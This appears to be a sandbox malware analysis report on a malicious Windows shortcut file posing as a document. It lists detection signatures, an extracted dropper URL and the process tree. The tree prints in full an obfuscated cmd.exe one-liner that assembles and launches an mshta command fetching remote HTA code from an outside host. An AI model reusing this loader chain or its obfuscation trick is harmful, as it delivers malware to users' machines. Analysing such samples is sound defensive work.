Analysis

  • max time kernel
    38s
  • max time network
    41s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 21:31

General

  • Target
    DOC-NEPK7I.lnk
  • Size 2KB
  • Sample260803-1danbscl31
  • SHA256 b0ae271d412cf95ff13452c371abb026866ee2ce56b77940397d5e45699a03d6
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NEPK7I.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3888
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set bqN=nj7sj&&set rZwM=fkxtar4&&set Wq=v4tp&set Cvq=qzmsjus&&set LiLD=r2dhtuab&&set xDDAQ=igxaiq&set Fpi=oldimsiandtcbuold&set RtYKZ=winkmqltxstawin&set TdvkR=netjhmvlxeasnet&set tT=syseougktmmtsys&set CLUmZ=wintiljwjgilwtvnvhmvvwin&set tnhW=bakhcisrraualwlbak&set uh=netlbwwtthnet&set rqIh=tmpyaqgiglbptrsdtmp&&set Fgdnu=ht@tp@s@:/@/k@-doc@umentac@[email protected]@a@t/@h/@est@ag@io@[email protected]?@r@=3F1477F1539@8@D1&&start /b !Cvq:~2,2!!LiLD:~3,2!!xDDAQ:~3,1! !Fgdnu:@=!&&set qJLDK=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3424
      • C:\Windows\System32\mshta.exe
        mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
          PID:4992

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads